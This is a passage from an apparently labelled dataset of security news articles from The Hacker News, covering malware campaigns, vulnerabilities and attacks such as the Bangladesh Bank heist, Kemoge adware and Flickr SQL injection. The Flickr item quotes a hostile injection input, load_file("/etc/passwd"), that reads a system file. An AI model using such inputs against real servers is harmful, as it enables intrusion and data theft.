FireEye reports that most of the payloads are detected by updated antivirus software, based on research executed by running the binaries through VirusTotal.

",Malware
Web-based DropCam Surveillance Systems Vulnerable to Hackers,https://thehackernews.com/2014/07/web-based-dropcam-surveillance-systems.html,"The popular home surveillance webcam service DropCam that keep an eye on your house when you aren't there, can be used as a weapon against you by the cybercriminals, claimed a pair of researchers.

San Francisco-based DropCam, last month announced it would be acquired by Google's Nest for $555 million in cash, makes home-monitoring cameras for the past five years, which allow users to keep track of what's going on inside their homes using a small surveillance camera.

Two researchers named Patrick Wardle and Colby Moore of Synack who discovered the weakness in the Wi-Fi enabled video monitoring system, which they will demonstrate at the DEFCON 22 Hacker Conference in Las Vegas next month.

This WiFi-enabled security camera, that comes for $149 or $199, depending on video quality, requires little-to-no-effort to maintain. You plug it in, get it up on your WiFi, and all is set. If you want to check in on your cameras remotely, it cost you nothing, and if you want DropCam to keep an archive of the recorded footage on their servers, it will cost you from $10 to $30 a month.

The discovered weakness could allow hackers to spy on the targets by watching video and ""hot-mike"" audio on the cameras, inject fake videos into the surveillance startup in an effort to hide their malicious activities and use the compromised system to attack network.

The hardware of DropCam was reverse engineered by the researchers that allow them to insert a malware ""implant"" on the device and make them exploit the software vulnerabilities they found in the device's internal software.
""If someone has physical access [to a DropCam device], it's pretty much game over,"" the director of research at Synack, Wardle told DarkReading. ""People need to be aware that these devices can be accessed by hackers or adversaries, and they should be scrutinized in the way people protect their laptops for instance.""
Apart from other hardware and software weaknesses in the DropCam equipment, researchers discovered a Heartbleed vulnerability used in the cloud-based WiFi video monitoring service.

The device runs an outdated and unpatched version of an open source Unix toolkit BusyBox, that may not even receive updates, and the older as well as vulnerable version of OpenSSL that made it vulnerable to the critical Heartbleed bug.

Heartbleed, the biggest internet threat, is a critical vulnerability in the OpenSSL's implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server's memory, potentially revealing users data in the plaintext, that the server did not intend to reveal.

An attacker could exploit the Heartbleed vulnerability in the OpenSSL in order to fetch passwords and SSL server's private key.
""The camera is vulnerable to client-side Heartbleed attacks. You could spoof the DropCam DNS server, and the camera would beacon out,"" Wardle says. ""You could throw a Heartbleed exploit and start dumping memory and get [digital] certs.""
Moreover, researchers would also reveal how to infect Windows or Mac OS X boxes that were used to configure the vulnerable DropCam systems. The duo will provide a detailed demonstration on their findings in their presentation titled, ""Optical Surgery: Implanting a DropCam,"" at DEF CON hacking Conference, which will be held on August 10.

Like we are so much proactive towards security vulnerabilities of our computers and networks, in the same way their is an important need to actively tackle the security issues with the Internet of Things (IoTs) devices such as this DropCam cameras.

",Vulnerability
BEWARE – New 'Creative' Phishing Attack You Really Should Pay Attention To,https://thehackernews.com/2019/03/ios-mobile-phishing-attack.html,"A cybersecurity researcher who last month warned of a creative phishing campaign has now shared details of a new but similar attack campaign with The Hacker News that has specifically been designed to target mobile users.

Just like the previous campaign, the new phishing attack is also based on the idea that a malicious web page could mimic look and feel of the browser window to trick even the most vigilant users into giving away their login credentials to attackers.

Antoine Vincent Jebara, co-founder and CEO of password managing software Myki, shared a new video with The Hacker News, demonstrating how attackers can reproduce native iOS behavior, browser URL bar and tab switching animation effects of Safari in a very realistic manner on a web-page to present fake login pages, without actually opening or redirecting users to a new tab.

New Phishing Attack Mimics Mobile Browser Animation and Design

As you can see in the video, a malicious website that looks like Airbnb prompts users to authenticate using Facebook login, but upon clicking, the page displays a fake tab switching animation video aimed to trick users into thinking that their browsers are behaving normally.

""The Facebook login page is also definitely fake and is an overlay over the current page that makes it look like an authentic Facebook page,"" Jebara said.

""From the moment a user accesses the malicious website, they are manipulated into performing actions that seem legitimate, all with the purpose of building up their confidence to submit their Facebook password at the final stage of the attack.""

If users are not very attentive to details and fail to spot minor differences, they would eventually end up filling the username and password fields on the phishing page, resulting in giving away their social media credentials to the attackers.
""This attack is poorly implemented and contains multiple flaws from both a process and design point of view. Login with Facebook prompts are presented as an external window in Safari, not as an additional tab that the user is switched to, as the origin URL still appears in minimized form over the fake Facebook navigation bar,"" Jebara said.

""Although hackers would probably implement this campaign in a more realistic manner, in its current form, a majority of users would fall for this attack, as the details that give it away are relatively subtle, and more importantly, the user is shown specific 'familiar' actions that seem to turn off the part of the brain that doubts the legitimacy of the page.""

How to Protect Against Such New Form of Phishing Scams

It should be noted that such advanced phishing attacks are not limited to Facebook, Safari browser or just to iOS mobile users only, but could very easily be adapted to target Android devices or any other social media site as well.

Cybercriminals can target different platforms by creating a website that automatically serves different versions of phishing pages based upon what browser app and mobile device operating system victims use.

Since there are no clear guidelines to spot such creative phishing attacks, users are highly recommended to:


Use password managers that only auto-fill credentials on legit domains, helping you avoid giving away credentials to fake websites.
Enable two-factor authentication, wherever available, preventing hackers from accessing your online accounts even if they somehow manage to steal your credentials.


Besides this, Jebara also suggests users ask themselves ""Why am I asked to log in?"" Or ""Am I not already logged in to this?"" when hackers try to mimic the logins of popular websites for which you already have an app on your smartphone.

Phishing is still one of the most severe threats to users as well as companies, and hackers continue to try new and creative ways to trick you into providing them with your sensitive and financial details that they could later use to steal your money or hack into your online accounts.

Stay Safe! Stay Tuned!
",Cyber_Attack
Here's How Hackers Stole $80 Million from Bangladesh Bank,https://thehackernews.com/2016/03/bank-hacking-malware.html,"The recent cyber attack on Bangladesh's central bank that let hackers stole over $80 Million from the institutes' Federal Reserve bank account was reportedly caused due to the Malware installed on the Bank's computer systems.

Few days ago, reports emerged of a group of unknown hackers that broke into Bangladesh's central bank, obtained credentials needed for payment transfers from Federal Reserve Bank of New York and then transferred large sums to fraudulent accounts based in the Philippines and Sri Lanka.

The criminal group was able to steal a total value of about $81 Million from the Federal Reserve's Bangladesh account through a series of fraudulent transactions, but a typo in some transaction prevented a further $850 Million Heist.

However, the question was still there:

How the Hackers managed to transfer $80 Million without leaving any Trace?

Security researchers from FireEye's Mandiant forensics are helping the Dhaka investigators to investigate the cyber heist.

Investigators believe unknown hackers installed some type of malware in the Bangladesh central bank's computer systems few weeks before the heist and watched how to withdraw money from its United States account, Reuters reports.

Although the malware type has not been identified, the malicious software likely included spying programs that let the group learn how money was processed, sent and received.

The malware in question could be a potential Remote Access Trojan (RAT) or a similar form of spyware that gave attackers the ability to gain remote control of the bank's computer.

The investigators suspect the hack could have exploited a ""zero-day"" flaw as they are unknown to vendors as well.

After this, the hackers were able to steal the Bangladesh Bank's credentials for the SWIFT messaging system, a highly secure financial messaging system utilized by banks worldwide to communicate with each other.
""SWIFT and the Central Bank of Bangladesh are working together to resolve an internal operational issue at the central bank,"" Belgium-based SWIFT said in a statement Friday. ""SWIFT's core messaging services were not impacted by the issue and continued to work as normal.""
Security experts hope that the malware sample will be made available to the security researchers soon so that they can determine whether the sample was truly advanced, or if Bangladesh Central Bank's security protection was not robust enough to prevent the hack.

The Bangladesh Bank discovered weaknesses in its systems, which could take years to repair the issues though the Federal bank has denied any system compromise.

",Malware
TrueCrypt Encryption Software Has Two Critical Flaws: It's time to Move On,https://thehackernews.com/2015/09/truecrypt-encryption-software.html,"If you are among thousands of privacy-conscious people who are still using 'no longer available' TrueCrypt Encryption Software, then you need to pay attention.

Two critical security vulnerabilities have been discovered in the most famous encryption tool, TrueCrypt, that could expose the user's data to hackers if exploited.

TrueCrypt was audited earlier this by a team of Security researchers and found to be backdoor-free.

James Forshaw, Security researcher with Google's Project Zero — which looks for zero-day exploits — has found a pair of privilege elevation flaws in TrueCrypt package.

Last year, TrueCrypt project was dropped after its mysterious developers had claimed the Windows disk-encryption software had 'unfixed security issues'.

TrueCrypt is a widely-used 'On-the-Fly' Open source Hard disk encryption program.

Reportedly, TrueCrypt vulnerabilities would not directly allow an attacker to decrypt drive data. Instead, successful exploitation allows malware installation on the victim's machine, which would be enough to figure out TrueCrypt's Decryption Key and other sensitive data.

Vulnerability Details:

Both the TrueCrypt vulnerabilities has been rated as 'Critical', tagged as:

1.) CVE-2015-7358: The first vulnerability occurs because the TrueCrypt driver lacks in properly validating the drive letter symbolic link used for mounting volumes.

As a result, an attacker can gain access to a running process and get full administrative privileges.

2.) CVE-2015-7359: Whereas, in the second vulnerability the TrueCrypt driver lacks in validating the user in the security context, exploiting which an attacker can impersonate as an authenticated user.

Researcher James Forshaw (from Google Project Zero) has not publicly announced any details about the flaws, but said on his Twitter feed that the vulnerabilities got missed in the past and could ditch the security audits and review.

If you are still relying on TrueCrypt, now is the time to move on.

Moreover, after TrueCrypt's shutdown, few of the software forks were available such as:
CipherShed
Veracrypt
Both the above-mentioned tools are also freeware and works on the ideologies they have borrowed from TrueCrypt.

Further, after the vulnerabilities were detected in TrueCrypt, Veracrypt version 1.15, an alternate On-The-Fly-Encryption (OTFE) tool patched the issues threatening its operations.

Do you think these flaws were put in intentionally?

",Vulnerability
Google Ireland and Yahoo Domains Hijacked,https://thehackernews.com/2012/10/google-ireland-and-yahoo-domains.html,"Irish websites Google.ie and Yahoo.ie went offline on Tuesday afternoon after their DNS servers were apparently hijacked to point to those of a third party, resulting in visitors being redirected to an 'allegedly fraudulent' address - farahatz.net. That site has now been taken offline, but it is not known whether the site could have been created with malicious intent.

A short note on the homepage of the IE Domain Registry said the move followed a ""security incident on Tuesday 9th October, involving two high profile .ie domains that has warranted further investigation and some precautionary actions on the part of the IEDR."" The IE Domain Registry have requested assistance from the Garda Bureau of Fraud Investigation.

There was an unauthorised access to one registrar's account [MarkMonitor] which resulted in the change to the DNS nameserver records for the two .ie domains. The IEDR worked with the registrar to ensure that the nameserver records were reset and corrected promptly.

Serious questions are being raised about how this breach occurred. Security experts have suggested that the login details for the IEDR registrar's console may have been 'socially engineered'

eMarkmonitor, the company which is listed as having registered google.ie on Google's behalf, is also responsible for the registration of the Irish domain names for the likes of eBay, Microsoft, Yahoo and PayPal. None of those sites appeared to have been affected.

Subscribe to our Daily News-letter via email - Be First to know about Security and Hackers.

",Vulnerability
Kemoge: Latest Android Malware that Can Root Your Smartphone,https://thehackernews.com/2015/10/android-malware-root.html,"Google Android has been a primary concern of the attackers. Counting from a simple text message that could hack an Android phone remotely to the Stagefright bug making Billion users vulnerable.

Now, the latest is the 'Kemoge Malware' that has made its debut as an Adware on the Android mobile phones, allowing third-party app stores to fetch your device's information and take full control of it.

Security researchers from FireEye Labs have discovered that Kemoge malicious adware family is spreading in 20 countries around the globe. Also, the origin of the Adware's attack is suspected from China.

What is Kemoge?

The name given to the malicious Adware family is because of its command and control (C2) domain: aps.kemoge.net.

Kemoge is an Adware in the disguise of popular Apps; it has circulated in such numbers because it takes the name of popular apps and repackages them with the malicious code and make them available to the user.

They even use the same developer name, as used by the verified and clean apps on the official Play Store.

Some of the popular apps getting affected are:(Image)
Talking Tom 3
Calculator
Shareit
Assistive Touch
WiFi Enhancer

How does Kemoge Work?
The attacker sets up a genuine looking interface and uploads the apps to third-party app stores and plays smart by promoting the download links via websites and in-app advertisements.
Some aggressive ad networks gaining root privilege can also automatically install the samples.
Once activated on the device, Kemoge collects device information and uploads it to the ad server, then it slyly serves ads from the background.
Victims get ad banners frequently regardless of the current activity as ads even pop-up when the user remains on the Android home screen.
""Initially Kemoge is just annoying, but it soon turns evil,"" said FireEye researchers.

Kemoge even Affects Rooted Devices

The malicious adware injects eight root exploits to root phones, targeting a wide range of device models.

Some of the exploits are compiled from open source projects whereas some come from the commercial tool ""Root Dashi"" (or ""Root Master"").
""After gaining root, it executes root.sh to obtain persistency,"" FireEye researchers said. ""Afterwards, it implants the AndroidRTService.apk into /system partition as Launcher0928.apk -- the filename imitates the legit launcher system service. Moreover, the package name of this apk also looks like authentic services, e.g. com.facebook.qdservice.rp.provider and com.android.provider.setting.""
Moreover, the malicious system service ( Launcher0928.apk) contacts aps.kemoge.net for commands.

How does Kemoge Evade Detection?

To evade detection, Kemoge communicates with the server at various time intervals. The malware runs malicious code briefly at the first launch or 24 hours after installation.

In each enquiry, Kemoge sends the data including phone's IMEI, IMSI, storage information, and installed app information to a remote third-party server.

After uploading the device's information, the malware asks commands from the server, which reverts with a command out of following three domains and the malicious system service executes it. The commands are:
Uninstall designated applications
Launch designated applications
Download and Install applications from URLs given by server
FireEye researchers conducted their research on Nexus 7 running Android 4.3 (JellyBean). While experimenting, the server commanded the device, such that it uninstalled the legitimate apps and made the device filled with malicious codes.

How to Protect Against Kemoge?

Kemoge is a dangerous threat and to stay safe you are advised to:
Never click on any suspicious links from emails, SMS, websites, or advertisements.
Never install apps outside of the official App Store.
Keep your Android devices up-to-date in order to avoid being rooted by public known vulnerabilities (Upgrading device to the latest version of OS provides some security but doesn't always guarantee protection).
Uninstall the app showing Ads.
To know more about Kemoge, follow FireEye's official blog. Also, if you faced any such issues with your Android device, then identify the app supplying malicious Adware to you and let us know in the comment below.

",Malware
Apple OS X Yosemite 10.10.2 Update to Patch years-old Thunderstrike vulnerability,https://thehackernews.com/2015/01/apple-osx-yosemite-thunderstrike-vulnerability.html,"Apple is preparing to release the second update to OS X Yosemite in the coming days to its customers.

The upcoming beta update OS X Yosemite 10.10.2 contains a patch for the Thunderstrike vulnerability that allows malware to be injected into Macs via the Thunderbolt port.

Earlier this month, Reverse engineer Trammell Hudson revealed technical details and proof-of-concept of Thunderstrike attack.

Thunderstrike, an undetectable bootkit, works by injecting an Option ROM into a Mac's EFI. It is possible because hardware attached to a system through Thunderbolt port are not as secure as a Mac itself.

Once installed using Thunderstrike attack, the malware would be almost impossible to detect and remove.
Because the firmware used on Macs doesn't always apply to the security of attached hardware. So ""Apple had to change the code to not only prevent the Mac's boot ROM from being replaced, but also to prevent it from being rolled back to a state where the attack would be possible again."" developers told imore.

""According to people with access to the latest beta of OS X 10.10.2 who are familiar with Thunderstrike and how it works, that's exactly the deep, layered process that's been completed.""
OS X Yosemite 10.10.2 beta also addresses the three zero-day vulnerabilities previously disclosed by Google's Project Zero.

Don't worry, patches are already on the way. OS X Yosemite 10.10.2 update has already gone out to developers and soon will be rolled out to OS X users.

",Vulnerability
Microsoft Critical Vulnerabilities that You Must Patch Coming Tuesday,https://thehackernews.com/2014/04/microsoft-critical-vulnerabilities-that.html,"On passed Thursday, Microsoft has released an advance advisory alert for upcoming Patch Tuesday which will address Remote Code Execution vulnerabilities in several Microsoft's products.

Microsoft came across a limited targeted attacks directed at their Microsoft Word 2010 because of the vulnerability in the older versions of Microsoft Word.

This Tuesday Microsoft will release Security Updates to address four major vulnerabilities, out of which two are labeled as critical and remaining two are Important to patch as the flaws are affecting various Microsoft software such as, Microsoft Office suite, Microsoft web apps, Microsoft Windows, Internet Explorer etc.

VULNERABILITY THAT YOU MUST PATCH
Google Security Team has reported a critical Remote code execution vulnerability in Microsoft Word 2010 (CVE-2014-1761) which could be exploited by an attacker to execute the malicious code remotely via a specially crafted RTF file, if opened by a user with an affected version of Microsoft Word or previewed.

The vulnerability could also be exploited if a user opened a specially crafted RTF email message in Microsoft Outlook while using Microsoft Word as the email viewer.

A specially crafted RTF file can make the system memory corrupt in such a manner that a cyber criminal could execute the arbitrary code when parsed by Microsoft Word. For successful exploitation of security flaw, Microsoft Word versions are used as email viewer in MS Outlook 2007, 2010 and 2013 as well.

In short, if an attacker successfully exploits the vulnerability, he could gain the same rights and privileges as the current user have. So, those users whose accounts are configured to already have fewer user rights on the system could be less impacted than those who operate their system with administrative user rights.

WEB-BASED ATTACK USING RTF VULNERABILITY
By exploiting the same Remote code execution vulnerability, an attacker could host a website that contains a webpage, containing a specially crafted RTF file. Moreover, the compromised websites, or the services that accept or host user-provided contents or advertisements could contain specially crafted content by the cyber criminals that could exploit this vulnerability easily.

In all cases of web-based scenario, an attacker would have to convince users to visit the compromised website, typically by getting them to click on a link provided in an email or Instant Messenger message that will take users to the attacker's website.

According to Microsoft, applying the Microsoft Fix it solution, ""Disable opening RTF content in Microsoft Word,"" prevents the exploitation of this issue through Microsoft Word.

""We are actively working with partners in our Microsoft Active Protections Program (MAPP) to offer information that they can use to provide additional protections to customers. For information about protections released by MAPP partners, see MAPP Partners with Updated Protections.""

OTHER IMPORTANT PATCHES TO INSTALL
In this update, Microsoft is again going to patch the security flaws in its weakest application i.e. Internet Explorer web browser which is listed in Bulletin 2.

Bulletin 1 and 4 are mainly concerned with Microsoft Office, whereas, Bulletin 3 will address the vulnerabilities in Windows Operating system.

LAST UPDATE FOR WINDOWS XP
8th April is the last official day for Windows XP, as well the last Patch Tuesday for it and hence is the most important patch release day for all the windows XP users.

It is highly recommended to install this patch on Tuesday to keep your operating system a bit secure. The update contains one critical and one important fix for windows XP as well.

Just three days ago, Apple released Safari 6.1.3 and Safari 7.0.3 with new security updates, addressing more than two dozen vulnerabilities in Safari web browser, including some critical ones.

",Vulnerability
Thousands of Government Websites Hacked to Mine Cryptocurrencies,https://thehackernews.com/2018/02/cryptojacking-malware.html,"There was a time when hackers simply defaced websites to get attention, then they started hijacking them to spread banking trojan and ransomware, and now the trend has shifted towards injecting scripts into sites to mine cryptocurrencies.

Thousands of government websites around the world have been found infected with a specific script that secretly forces visitors' computers to mine cryptocurrency for attackers.

The cryptocurrency mining script injection found on over 4,000 websites, including those belonging to UK's National Health Service (NHS), the Student Loan Company, and data protection watchdog Information Commissioner's Office (ICO), Queensland legislation, as well as the US government's court system.

Users who visited the hacked websites immediately had their computers' processing power hijacked, also known as cryptojacking, to mine cryptocurrency without their knowledge, potentially generating profits for the unknown hacker or group of hackers.

It turns out that hackers managed to hijack a popular third-party accessibility plugin called ""Browsealoud,"" used by all these affected websites, and injected their cryptocurrency-mining script into its code.

Browsealoud is a popular third-party browser plugin that helps blind and partially-sighted users access the web by converting site text to audio.

The script that was inserted into the compromised Browsealoud software belongs to CoinHive—a browser-based Monero mining service that offers website administrators to earn revenue by utilizing CPU resources of visitors.

The mining software was found in more than 4,200 websites, including The City University of New York (cuny.edu), Uncle Sam's court information portal (uscourts.gov), the UK's Student Loans Company (slc.co.uk), privacy watchdog The Information Commissioner's Office (ico.org.uk) and the Financial Ombudsman Service (financial-ombudsman.org.uk), UK NHS services, Manchester.gov.uk, NHSinform.scot, agriculture.gov.ie, Croydon.gov.uk, ouh.nhs.uk, legislation.qld.gov.au, the list goes on.

The full list of affected websites can be found here.

After UK-based infosec consultant Scott Helme raised the alarm about this hack when one of his friends mentioned getting anti-virus alerts on a UK Government website, BrowseAloud's operator Texthelp took down its site to resolve the issue.

Here's what Texthelp's chief technology officer Martin McKay said in a blog post:

""In light of other recent cyber attacks all over the world, we have been preparing for such an incident for the last year. Our data security action plan was actioned straight away and was effective, the risk was mitigated for all customers within a period of four hours.""

""Texthelp has in place continuously automated security tests for Browsealoud - these tests detected the modified file, and as a result, the product was taken offline.""

This action eventually removed Browsealoud from all websites immediately, addressing the security issue without its customers having to take any action.

The company also assured that ""no customer data has been accessed or lost,"" and that its customers will receive a further update as soon as the security investigation gets completed.

",Malware
Flickr vulnerable to SQL Injection and Remote Code Execution Flaws,https://thehackernews.com/2014/04/flickr-vulnerable-to-sql-injection-and.html,"Yahoo-owned Flickr, one of the biggest online photo management and sharing website in the world was recently impacted by critical web application vulnerabilities, which left website's database and server vulnerable hackers.

Ibrahim Raafat, a security researcher from Egypt has found SQL injection vulnerabilities on Flickr Photo Books, new feature for printing custom photo books through Flickr that was launched 5 months ago.

He claimed to have found two parameters (page_id , items) vulnerable to Blind SQL injection and one (i.e. order_id) Direct SQL Injection that allowed him to query the Flickr database for its content by the injection of a SQL SELECT statements.

A Successful SQL exploitation could allow an attacker to steal the Database and MYSQL administrator password.
Furthermore, Flickr's SQL injection flaws also facilitate the attacker to exploit remote code execution on the server and using load_file(""/etc/passwd"") function he was successfully managed to read the content from the sensitive files on the Flickr server, as shown below:
In addition to this, Ibrahim was able to write new files on the server that let him upload a custom 'code execution shell'.

Video Demonstration:
He reported the vulnerability to Yahoo which have been patched.

Update: Yahoo awarded Ibrahim Raafat with biggest bug bounty payout ever. He received $15,000 for reporting Flickr SQL injection and Remote code execution vulnerability.

",Vulnerability
"Github Account of Gentoo Linux Hacked, Code Replaced With Malware",https://thehackernews.com/2018/06/gentoo-linux-github.html,"Downloaded anything from Gentoo's GitHub account yesterday?

Consider those files compromised and dump them now—as an unknown group of hackers or an individual managed to gain access to the GitHub account of the Gentoo Linux distribution on Thursday and replaced the original source code with a malicious one.

Gentoo is a free open source Linux or FreeBSD-based distribution built using the Portage package management system that makes it more flexible, easier to maintain, and portable compared to other operating systems.

In a security alert released on its website yesterday, developers of the Gentoo Linux distribution warned users not to use code from its GitHub account, as some ""unknown individuals"" had gained its control on 28 June at 20:20 UTC and ""modified the content of repositories as well as pages there.""

According to Gentoo developer Francisco Blas Izquierdo Riera, after gaining control of the Gentoo Github organization, the attackers ""replaced the portage and musl-dev trees with malicious versions of the ebuilds intended to try removing all of your files.""

Ebuild are bash scripts, a format created by the Gentoo Linux project, which automates compilation and installation procedures for software packages, helping the project with its portage software management system.

""We are still working to determine the exact extent and to regain control of the organization and its repositories. All Gentoo code hosted on GitHub should for the moment be considered compromised,"" the alert said.

However, Gentoo assured its users that the incident did not affect any code hosted on the Gentoo's official website or the mirror download servers and that users would be fine as long as they are using rsync or webrsync from gentoo.org.

This is because the master Gentoo ebuild repository is hosted on its own official portal and Github is just a mirror for it.

""Also, the gentoo-mirror repositories including metadata are hosted under a separate Github organisation and likely not affected as well. All Gentoo commits are signed, and you should verify the integrity of the signatures when using git,"" the developer said.

In an update later on its website, the organisation said it has regained control of the Gentoo Github Organization, but advised users to continue to refrain from using code from its Github account, as they are still working with Github, which was recently acquired by Microsoft for US$7.5 billion, on establishing a timeline of what happened.

If you are the one who have downloaded Gentoo Linux images from GitHub instead of its official website, you are highly recommend to backup your content and reinstall the OS from scratch.

",Malware
Nation-State Hackers Caught Hiding Espionage Activities Behind Crypto Miners,https://thehackernews.com/2020/12/nation-state-hackers-caught-hiding.html,"A nation-state actor known for its cyber espionage campaigns since 2012 is now using coin miner techniques to stay under the radar and establish persistence on victim systems, according to new research.
Attributing the shift to a threat actor tracked as Bismuth, Microsoft's Microsoft 365 Defender Threat Intelligence Team said the group deployed Monero coin miners in attacks that targeted both the private sector and government institutions in France and Vietnam between July and August earlier this year.
""The coin miners also allowed Bismuth to hide its more nefarious activities behind threats that may be perceived to be less alarming because they're 'commodity' malware,"" the researchers said in an analysis published yesterday.
The primary victims of the attack have been traced to state-owned enterprises in Vietnam and entities with ties to a Vietnamese government agency.
The Windows maker likened Bismuth to OceanLotus (or APT32), linking it to spyware attacks using both custom and open-source toolsets to target large multinational corporations, governments, financial services, educational institutions, and human and civil rights organizations.
The development comes as OceanLotus was found leveraging a new macOS backdoor that enables the attackers to snoop on and steals confidential information and sensitive business documents from infected machines.
Using Coin Miners to Blend In
Although the group's espionage and exfiltration tactics have essentially remained the same, the inclusion of coin miners in their arsenal points to a fresh way to monetize compromised networks, not to mention a crafty means of blending in and evading detection for as long as possible.
The idea is to buy time to move laterally and infect high-value targets like servers for further propagation.
To achieve this, tailored spear-phishing emails written in Vietnamese were crafted to specific recipients in a target organization, and in some cases, the threat actor even established correspondence with the targets in a bid to increase the chances of opening the malicious document embedded in the emails and trigger the infection chain.
A separate technique involved the use of DLL side-loading, wherein a legitimate library is replaced with a malicious variant, utilizing outdated versions of legitimate software such as Microsoft Defender Antivirus, Sysinternals DebugView, and Microsoft Word 2007 to load rogue DLL files and establish a persistent command-and-control (C2) channel to the compromised device and the network.
The newly established channel was then used to drop a number of next-stage payloads, including tools for network scanning, credential theft, Monero coin mining, and conducting reconnaissance, the results of which were transmitted back to the server in the form of a "".csv"" file.
Hiding in Plain Sight
""Bismuth attacks put strong emphasis on hiding in plain sight by blending in with normal network activity or common threats that attackers anticipate will get low-priority attention,"" Microsoft said.
""The combination of social engineering and use of legitimate applications to sideload malicious DLLs entail multiple layers of protection focused on stopping threats at the earliest possible stage and mitigating the progression of attacks if they manage to slip through.""
It's recommended that businesses limit the attack surface used to gain initial access by beefing up email filtering and firewall settings, enforce credential hygiene, and turn on multi-factor authentication.

",Cyber_Attack
Billions of Windows Users Affects with Java Vulnerability,https://thehackernews.com/2012/09/billions-of-windows-users-affects-with.html,"Researchers at Security Explorations disclosed a new vulnerability in Java that could provide an attacker with control of a victim's computer. The researchers have confirmed that Java SE 5 – Update 22, Java SE 6 – Update 35, and Java SE 7 Update 7 running on fully patched Windows 7 32-bit operating systems are susceptible to the attack.

This Flaw allowing a malicious hackers to gain complete control of a victim's machine through a rigged website. The affected web browsers are Safari 5.1.7, Opera 12.02, Chrome 21.0.1180.89, Firefox 15.0.1, and Internet Explorer 9.0.8112.16421.

Though Oracle released a fix for the most critical vulnerabilities reported by Security Explorations on August 30th, the security firm quickly found another flaw in that fix that would allow a hacker to bypass the patch. That bug in Oracle's patch still hasn't been patched, leaving users vulnerable to both the new flaw and the previous attack.

""We hope that news about one billion users of Oracle Java SE software being vulnerable to yet another security flaw is not gonna spoil the taste of Larry Ellison's morning Java,"" Gowdiak wrote.

",Vulnerability
Suspected Hacker arrested for World's Biggest DDoS attack against Spamhaus,https://thehackernews.com/2013/04/suspected-hacker-arrested-for-worlds.html,"The Dutch police have confirmed the arrest of a 35-year-old man suspected of taking part in a massive DDoS attack against the anti-spam group Spamhaus back in March. The attack's bandwidth peaked at over 300Gbps, making it the largest DDoS attack in history. Their target, Spamhaus, is a company which creates blacklists of spam sites and sells them to Internet Service Providers.
Spamhaus was attacked with DDOS and the website overcrowded with traffic and went offline. Later CloudFlare was hired by Spamhaus to protect against such attacks. The suspect was arrested by Spanish authorities in Barcelona based on a European arrest warrant and is expected to be transferred to the Netherlands soon.

The man arrested is believed to be Sven Kamphuis, the owner and manager of Dutch hosting firm Cyberbunker that has been implicated in the attack. This DDoS attack was believed to have been sparked when Spamhaus placed CyberBunker on its spam blacklist.

Cyberbunker is a Dutch company based in a former nuclear bunker that provides anonymous hosting of anything except terrorist or child pornography websites.

""Spamhaus is delighted at the news that an individual has been arrested and is grateful to the Dutch police for the resources they have made available and the way they have worked with us,"" said a Spamhaus spokesman.

The investigation was conducted in the Netherlands by the High Tech Crime Team and at the request of the National Prosecutor in Barcelona, the suspect's house was searched and authorities seized mobile phones, data carriers and computers from the property.

",Cyber_Attack
Irongate — New Stuxnet-like Malware Targets Industrial Control Systems,https://thehackernews.com/2016/06/irongate-stuxnet-malware.html,"Security researchers have discovered a sophisticated piece of malware that uses tricks from the Stuxnet sabotage malware and is specifically designed to target industrial control systems (ICS) and supervisory control and data acquisition (SCADA) systems.

Researchers at the security firm FireEye Labs Advanced Reverse Engineering said on Thursday that the malware, dubbed ""IRONGATE,"" affects Siemens industrial control systems.

The malware only works in a simulated environment and is probably just a proof-of-concept that is likely not used in wild; therefore is not yet advanced enough to impact real-world systems.

The Irongate malware ""is not viable against operational Siemens control systems,"" the cybersecurity firm said in its blog post, and the malware ""does not exploit any vulnerabilities in Siemens products.""

The researchers found this malware fascinating due to its mode of operation that included some Stuxnet-like behavior.

The Stuxnet sabotage malware was allegedly developed by the United States and Israel to disrupt Iran's nuclear facility and destroyed a several country's uranium enrichment centrifuges.

Just like Stuxnet, Irongate uses a Man-in-the-Middle (MitM) technique to inject itself between the PLC (Programmable Logic Controller) and the legitimate software monitoring process, checks for defenses before detonating, as well as mask its tracks.

Moreover, to achieve this MitM, like Stuxnet, Irongate replaces a valid Dynamic Link Library (DLL) file with a malicious copy, potentially allowing the malware to target a particular control system configuration.

DLL is a small piece of code that can be used by different programs at the same time.

However, the researchers note that Irongate doesn't compare to Stuxnet in terms of complexity, ability to propagate, or geopolitical implications.

Moreover, Irongate differs from Stuxnet in the way it avoids detection. While Stuxnet only looked for the presence of various antivirus software on the target systems, Irongate looks for sandbox environments such as VMWare and Cuckoo Sandbox.

FireEye says the firm detected several versions of Irongate on malware database VirusTotal in the second half of 2015, but researchers managed to track down two malware samples to September 2014.

The research team doesn't think that Irongate is written by the Stuxnet's authors, as Irongate is not the type of sophistication one would expect from a nation state.

FireEye says Irongate could be a proof-of-concept, a research project, or just a test, which is why the firm went public with the details in order to find out more about the malware sample.

But the question still remains: Who did write Irongate?

",Malware
Russian Hackers Manipulate Ruble-Dollar Exchange Rate with Malware,https://thehackernews.com/2016/02/russian-exchange-hacked.html,"Russian Group of Hackers reportedly cracked into the Kazan-based Energobank and messed up with the Ruble-Dollar exchange rates.

In Feb 2015, a hacking group, known by the name METEL, successfully breached into the Russian Regional Bank for just 14 minutes and caused the exchange rate to fluctuate between 55 and 66 rubles per dollar, which finally resulted in the increment of Ruble's value.

Here's how they did it:

According to Russian security firm, Group-IB, who investigated the incident, the Metel Hacking group infected Kazan-based Energobank with a virus known as the Corkow Trojan and placed more than $500 million in orders at non-market rates.
""This is the first documented attack using this virus, and it has the potential to do much more damage,"" Dmitry Volkov, the head of Group-IB's cyber intelligence department, told Bloomberg.
The hackers had taken the advantage of Spear Phishing Technique, which appears to come from a legit source. A single click on the link in the malicious mail took over the access to the system followed by ultimate exploitation.

After gaining the access to a local system, the trojan was able to cause a havoc deepening the attack to its Intranet. This way, the malware named Corkow found the isolated system which handles the money transaction exclusively to the outer world.

Corkow malware, initially discovered in 2011, regularly updates itself to evade detection by antivirus programs, and has infiltrated more than 250,000 computers worldwide and infected at least 100 financial institutions.

Bank lost 244 Million Rubles ($3.2 million)

The Energobank claimed losses of 244 million rubles ($3.2 million) due to the trades.

But, the Moscow Exchange had denied the allegations of any hacking attempt by the fact that; the changes in the Stock Market would be an output of Trader's mistakes. They also not found any hint of currency manipulation.

The attack was earlier ported to target ATMs of Russia, affecting Russian bank card system that resulted in hundreds of millions of rubles being stolen via ATMs in August. Another attack with the same malware also facilitated hackers to use credit card limitlessly.

Metel is only known to be active in Russia (affected 73% Russian Banks), although it may present a threat to financial institutions across the globe.

Authority has not yet handcuffed any of its criminals who are raising a global bank threat.

",Malware
